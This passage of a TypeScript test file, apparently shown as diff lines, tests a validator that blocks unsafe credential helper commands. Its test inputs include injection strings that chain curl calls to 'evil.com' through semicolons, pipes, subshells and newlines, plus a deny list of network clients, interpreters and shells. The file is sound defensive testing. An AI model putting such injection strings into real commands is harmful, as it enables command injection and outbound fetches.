- result.errors.some(
952
- (e) =>
953
- e.includes("credential_process") &&
954
- e.includes("denied binary") &&
955
- e.includes('"bash"'),
956
- ),
957
- ).toBe(true);
958
- });
959
-
960
- test("accepts helperCommand with allowed binary (aws-vault)", () => {
961
- const result = validateManifest(
962
- buildManifest({
963
- authAdapter: {
964
- type: AuthAdapterType.CredentialProcess,
965
- helperCommand: "aws-vault exec default --json",
966
- envVarName: "AWS_CREDENTIALS",
967
- },
968
- }),
969
- );
970
- expect(result.valid).toBe(true);
971
- expect(result.errors).toHaveLength(0);
972
- });
973
-
974
- // -- Shell semantics bypass prevention ------------------------------------
975
-
976
- test("rejects single-quoted denied binary ('curl')", () => {
977
- const result = validateManifest(
978
- buildManifest({
979
- authAdapter: {
980
- type: AuthAdapterType.CredentialProcess,
981
- helperCommand: "'curl' https://example.com",
982
- envVarName: "AWS_CREDENTIALS",
983
- },
984
- }),
985
- );
986
- expect(result.valid).toBe(false);
987
- expect(
988
- result.errors.some(
989
- (e) =>
990
- e.includes("credential_process") &&
991
- e.includes("denied binary") &&
992
- e.includes('"curl"'),
993
- ),
994
- ).toBe(true);
995
- });
996
-
997
- test("rejects double-quoted denied binary (\"curl\")", () => {
998
- const result = validateManifest(
999
- buildManifest({
1000
- authAdapter: {
1001
- type: AuthAdapterType.CredentialProcess,
1002
- helperCommand: '"curl" https://example.com',
1003
- envVarName: "AWS_CREDENTIALS",
1004
- },
1005
- }),
1006
- );
1007
- expect(result.valid).toBe(false);
1008
- expect(
1009
- result.errors.some(
1010
- (e) =>
1011
- e.includes("credential_process") &&
1012
- e.includes("denied binary") &&
1013
- e.includes('"curl"'),
1014
- ),
1015
- ).toBe(true);
1016
- });
1017
-
1018
- test("rejects denied binary after env var assignment (AWS_PROFILE=x curl)", () => {
1019
- const result = validateManifest(
1020
- buildManifest({
1021
- authAdapter: {
1022
- type: AuthAdapterType.CredentialProcess,
1023
- helperCommand: "AWS_PROFILE=x curl https://example.com",
1024
- envVarName: "AWS_CREDENTIALS",
1025
- },
1026
- }),
1027
- );
1028
- expect(result.valid).toBe(false);
1029
- expect(
1030
- result.errors.some(
1031
- (e) =>
1032
- e.includes("credential_process") &&
1033
- e.includes("denied binary") &&
1034
- e.includes('"curl"'),
1035
- ),
1036
- ).toBe(true);
1037
- });
1038
-
1039
- test("rejects denied binary after multiple env var assignments", () => {
1040
- const result = validateManifest(
1041
- buildManifest({
1042
- authAdapter: {
1043
- type: AuthAdapterType.CredentialProcess,
1044
- helperCommand: "AWS_PROFILE=default FOO=bar python3 script.py",
1045
- envVarName: "AWS_CREDENTIALS",
1046
- },
1047
- }),
1048
- );
1049
- expect(result.valid).toBe(false);
1050
- expect(
1051
- result.errors.some(
1052
- (e) =>
1053
- e.includes("credential_process") &&
1054
- e.includes("denied binary") &&
1055
- e.includes('"python3"'),
1056
- ),
1057
- ).toBe(true);
1058
- });
1059
-
1060
- test("rejects denied binary with env assignment and quotes combined", () => {
1061
- const result = validateManifest(
1062
- buildManifest({
1063
- authAdapter: {
1064
- type: AuthAdapterType.CredentialProcess,
1065
- helperCommand: "AWS_PROFILE='prod' 'bash' -c 'echo creds'",
1066
- envVarName: "AWS_CREDENTIALS",
1067
- },
1068
- }),
1069
- );
1070
- expect(result.valid).toBe(false);
1071
- expect(
1072
- result.errors.some(
1073
- (e) =>
1074
- e.includes("credential_process") &&
1075
- e.includes("denied binary") &&
1076
- e.includes('"bash"'),
1077
- ),
1078
- ).toBe(true);
1079
- });
1080
- });
1081
-
1082
- // ---------------------------------------------------------------------------
1083
- // extractShellBinary
1084
- // ---------------------------------------------------------------------------
1085
-
1086
- describe("extractShellBinary", () => {
1087
- test("extracts plain binary name", () => {
1088
- expect(extractShellBinary("curl https://example.com")).toBe("curl");
1089
- });
1090
-
1091
- test("extracts absolute path binary", () => {
1092
- expect(extractShellBinary("/usr/bin/python3 script.py")).toBe("/usr/bin/python3");
1093
- });
1094
-
1095
- test("strips single quotes from binary", () => {
1096
- expect(extractShellBinary("'curl' https://example.com")).toBe("curl");
1097
- });
1098
-
1099
- test("strips double quotes from binary", () => {
1100
- expect(extractShellBinary('"curl" https://example.com')).toBe("curl");
1101
- });
1102
-
1103
- test("skips single env var assignment", () => {
1104
- expect(extractShellBinary("AWS_PROFILE=x curl https://example.com")).toBe("curl");
1105
- });
1106
-
1107
- test("skips multiple env var assignments", () => {
1108
- expect(extractShellBinary("AWS_PROFILE=default FOO=bar curl https://example.com")).toBe("curl");
1109
- });
1110
-
1111
- test("skips env var assignment with quoted value", () => {
1112
- expect(extractShellBinary("AWS_PROFILE='prod' curl https://example.com")).toBe("curl");
1113
- });
1114
-
1115
- test("skips env var assignment with double-quoted value", () => {
1116
- expect(extractShellBinary('AWS_PROFILE="prod account" curl https://example.com')).toBe("curl");
1117
- });
1118
-
1119
- test("handles env assignment + quoted binary combined", () => {
1120
- expect(extractShellBinary("AWS_PROFILE='prod' 'bash' -c 'echo test'")).toBe("bash");
1121
- });
1122
-
1123
- test("handles binary with no arguments", () => {
1124
- expect(extractShellBinary("aws-vault")).toBe("aws-vault");
1125
- });
1126
-
1127
- test("handles leading whitespace", () => {
1128
- expect(extractShellBinary(" curl https://example.com")).toBe("curl");
1129
- });
1130
- });
1131
-
1132
- // ---------------------------------------------------------------------------
1133
- // Comprehensive denied binary coverage
1134
- // ---------------------------------------------------------------------------
1135
-
1136
- describe("DENIED_BINARIES set", () => {
1137
- test("contains all expected generic HTTP clients", () => {
1138
- for (const binary of ["curl", "wget", "http", "https", "httpie"]) {
1139
- expect(DENIED_BINARIES.has(binary)).toBe(true);
1140
- }
1141
- });
1142
-
1143
- test("contains all expected interpreters", () => {
1144
- for (const binary of [
1145
- "python",
1146
- "python3",
1147
- "node",
1148
- "bun",
1149
- "deno",
1150
- "ruby",
1151
- "perl",
1152
- "lua",
1153
- "php",
1154
- ]) {
1155
- expect(DENIED_BINARIES.has(binary)).toBe(true);
1156
- }
1157
- });
1158
-
1159
- test("contains all expected multi-call umbrella binaries", () => {
1160
- for (const binary of ["busybox", "toybox"]) {
1161
- expect(DENIED_BINARIES.has(binary)).toBe(true);
1162
- }
1163
- });
1164
-
1165
- test("contains all expected shell trampolines", () => {
1166
- for (const binary of [
1167
- "bash",
1168
- "sh",
1169
- "zsh",
1170
- "fish",
1171
- "dash",
1172
- "ksh",
1173
- "csh",
1174
- "tcsh",
1175
- "env",
1176
- "xargs",
1177
- "exec",
1178
- "nohup",
1179
- ]) {
1180
- expect(DENIED_BINARIES.has(binary)).toBe(true);
1181
- }
1182
- });
1183
- });
1184
-
1185
- // ---------------------------------------------------------------------------
1186
- // extractShellBinary: backslash-escaped spaces in env assignments
1187
- // ---------------------------------------------------------------------------
1188
-
1189
- describe("extractShellBinary — escaped spaces in env assignments", () => {
1190
- test("handles backslash-escaped space in bare env value", () => {
1191
- // AWS_PROFILE=prod\ account curl ... should parse as binary "curl",
1192
- // not "account" (the escaped space is part of the value).
1193
- expect(extractShellBinary("AWS_PROFILE=prod\\ account curl https://example.com")).toBe("curl");
1194
- });
1195
-
1196
- test("handles multiple backslash-escaped spaces in bare env value", () => {
1197
- expect(extractShellBinary("FOO=a\\ b\\ c curl https://example.com")).toBe("curl");
1198
- });
1199
-
1200
- test("handles backslash-escaped character in bare env value (no space)", () => {
1201
- expect(extractShellBinary("FOO=bar\\nbaz curl https://example.com")).toBe("curl");
1202
- });
1203
-
1204
- test("still works with unescaped bare values", () => {
1205
- expect(extractShellBinary("AWS_PROFILE=prod curl https://example.com")).toBe("curl");
1206
- });
1207
- });
1208
-
1209
- // ---------------------------------------------------------------------------
1210
- // containsShellMetacharacters
1211
- // ---------------------------------------------------------------------------
1212
-
1213
- describe("containsShellMetacharacters", () => {
1214
- test("detects semicolon", () => {
1215
- expect(containsShellMetacharacters("aws-vault exec; curl http://evil.com")).toBe(true);
1216
- });
1217
-
1218
- test("detects &&", () => {
1219
- expect(containsShellMetacharacters("aws-vault exec && curl http://evil.com")).toBe(true);
1220
- });
1221
-
1222
- test("detects ||", () => {
1223
- expect(containsShellMetacharacters("aws-vault exec || curl http://evil.com")).toBe(true);
1224
- });
1225
-
1226
- test("detects single pipe", () => {
1227
- expect(containsShellMetacharacters("aws-vault exec | curl http://evil.com")).toBe(true);
1228
- });
1229
-
1230
- test("detects $() command substitution", () => {
1231
- expect(containsShellMetacharacters("aws-vault exec $(curl http://evil.com)")).toBe(true);
1232
- });
1233
-
1234
- test("detects backtick command substitution", () => {
1235
- expect(containsShellMetacharacters("aws-vault exec `curl http://evil.com`")).toBe(true);
1236
- });
1237
-
1238
- test("detects newline (command separator)", () => {
1239
- expect(containsShellMetacharacters("aws-vault exec default\ncurl http://evil.com")).toBe(true);
1240
- });
1241
-
1242
- test("detects carriage return", () => {
1243
- expect(containsShellMetacharacters("aws-vault exec default\rcurl http://evil.com")).toBe(true);
1244
- });
1245
-
1246
- test("allows clean commands without metacharacters", () => {
1247
- expect(containsShellMetacharacters("aws-vault exec default --json")).toBe(false);
1248
- });
1249
-
1250
- test("allows flags with dashes and equals", () => {
1251
- expect(containsShellMetacharacters("/usr/local/bin/aws-vault exec prod --format=json")).toBe(false);
1252
- });
1253
-
1254
- test("allows env var assignments", () => {
1255
- expect(containsShellMetacharacters("AWS_PROFILE=prod aws-vault exec default")).toBe(false);
1256
- });
1257
- });
1258
-
1259
- // ---------------------------------------------------------------------------
1260
- // helperCommand shell metacharacter rejection (manifest validation)
1261
- // ---------------------------------------------------------------------------
1262
-
1263
- describe("helperCommand shell metacharacter rejection", () => {
1264
- test("rejects helperCommand with semicolon chaining", () => {
1265
- const result = validateManifest(
1266
- buildManifest({
1267
- authAdapter: {
1268
- type: AuthAdapterType.CredentialProcess,
1269
- helperCommand: "aws-vault exec default; curl http://evil.com",
1270
- envVarName: "AWS_CREDENTIALS",
1271
- },
1272
- }),
1273
- );
1274
- expect(result.valid).toBe(false);
1275
- expect(
1276
- result.errors.some((e) => e.includes("shell metacharacters")),
1277
- ).toBe(true);
1278
- });
1279
-
1280
- test("rejects helperCommand with && chaining", () => {
1281
- const result = validateManifest(
1282
- buildManifest({
1283
- authAdapter: {
1284
- type: AuthAdapterType.CredentialProcess,
1285
- helperCommand: "aws-vault exec default && curl http://evil.com",
1286
- envVarName: "AWS_CREDENTIALS",
1287
- },
1288
- }),
1289
- );
1290
- expect(result.valid).toBe(false);
1291
- expect(
1292
- result.errors.some((e) => e.includes("shell metacharacters")),
1293
- ).toBe(true);
1294
- });
1295
-
1296
- test("rejects helperCommand with || chaining", () => {
1297
- const result = validateManifest(
1298
- buildManifest({
1299
- authAdapter: {
1300
- type: AuthAdapterType.CredentialProcess,
1301
- helperCommand: "aws-vault exec default || curl http://evil.com",
1302
- envVarName: "AWS_CREDENTIALS",
1303
- },
1304
- }),
1305
- );
1306
- expect(result.valid).toBe(false);
1307
- expect(
1308
- result.errors.some((e) => e.includes("shell metacharacters")),
1309
- ).toBe(true);
1310
- });
1311
-
1312
- test("rejects helperCommand with pipe", () => {
1313
- const result = validateManifest(
1314
- buildManifest({
1315
- authAdapter: {
1316
- type: AuthAdapterType.CredentialProcess,
1317
- helperCommand: "aws-vault exec default | curl http://evil.com",
1318
- envVarName: "AWS_CREDENTIALS",
1319
- },
1320
- }),
1321
- );
1322
- expect(result.valid).toBe(false);
1323
- expect(
1324
- result.errors.some((e) => e.includes("shell metacharacters")),
1325
- ).toBe(true);
1326
- });
1327
-
1328
- test("rejects helperCommand with $() subshell", () => {
1329
- const result = validateManifest(
1330
- buildManifest({
1331
- authAdapter: {
1332
- type: AuthAdapterType.CredentialProcess,
1333
- helperCommand: "aws-vault exec $(curl http://evil.com)",
1334
- envVarName: "AWS_CREDENTIALS",
1335
- },
1336
- }),
1337
- );
1338
- expect(result.valid).toBe(false);
1339
- expect(
1340
- result.errors.some((e) => e.includes("shell metacharacters")),
1341
- ).toBe(true);
1342
- });
1343
-
1344
- test("rejects helperCommand with backtick subshell", () => {
1345
- const result = validateManifest(
1346
- buildManifest({
1347
- authAdapter: {
1348
- type: AuthAdapterType.CredentialProcess,
1349
- helperCommand: "aws-vault exec `curl http://evil.com`",
1350
- envVarName: "AWS_CREDENTIALS",
1351
- },
1352
- }),
1353
- );
1354
- expect(result.valid).toBe(false);
1355
- expect(
1356
- result.errors.some((e) => e.includes("shell metacharacters")),
1357
- ).toBe(true);
1358
- });
1359
-
1360
- test("rejects helperCommand with newline command separator", () => {
1361
- const result = validateManifest(
1362
- buildManifest({
1363
- authAdapter: {
1364
- type: AuthAdapterType.CredentialProcess,
1365
- helperCommand: "aws-vault exec default\ncurl http://evil.com",
1366
- envVarName: "AWS_CREDENTIALS",
1367
- },
1368
- }),
1369
- );
1370
- expect(result.valid).toBe(false);
1371
- expect(
1372
- result.errors.some((e) => e.includes("shell metacharacters")),
1373
- ).toBe(true);
1374
- });
1375
-
1376
- test("rejects helperCommand with carriage return", () => {
1377
- const result = validateManifest(
1378
- buildManifest({
1379
- authAdapter: {
1380
- type: AuthAdapterType.CredentialProcess,
1381
- helperCommand: "aws-vault exec default\rcurl http://evil.com",
1382
- envVarName: "AWS_CREDENTIALS",
1383
- },
1384
- }),
1385
- );
1386
- expect(result.valid).toBe(false);
1387
- expect(
1388
- result.errors.some((e) => e.includes("shell metacharacters")),
1389
- ).toBe(true);
1390
- });
1391
-
1392
- test("accepts clean helperCommand without metacharacters", () => {
1393
- const result = validateManifest(
1394
- buildManifest({
1395
- authAdapter: {
1396
- type: AuthAdapterType.CredentialProcess,
1397
- helperCommand: "aws-vault exec default --json",
1398
- envVarName: "AWS_CREDENTIALS",
1399
- },
1400
- }),
1401
- );
1402
- expect(result.valid).toBe(true);
1403
- expect(result.errors).toHaveLength(0);
1404
- });
1405
- });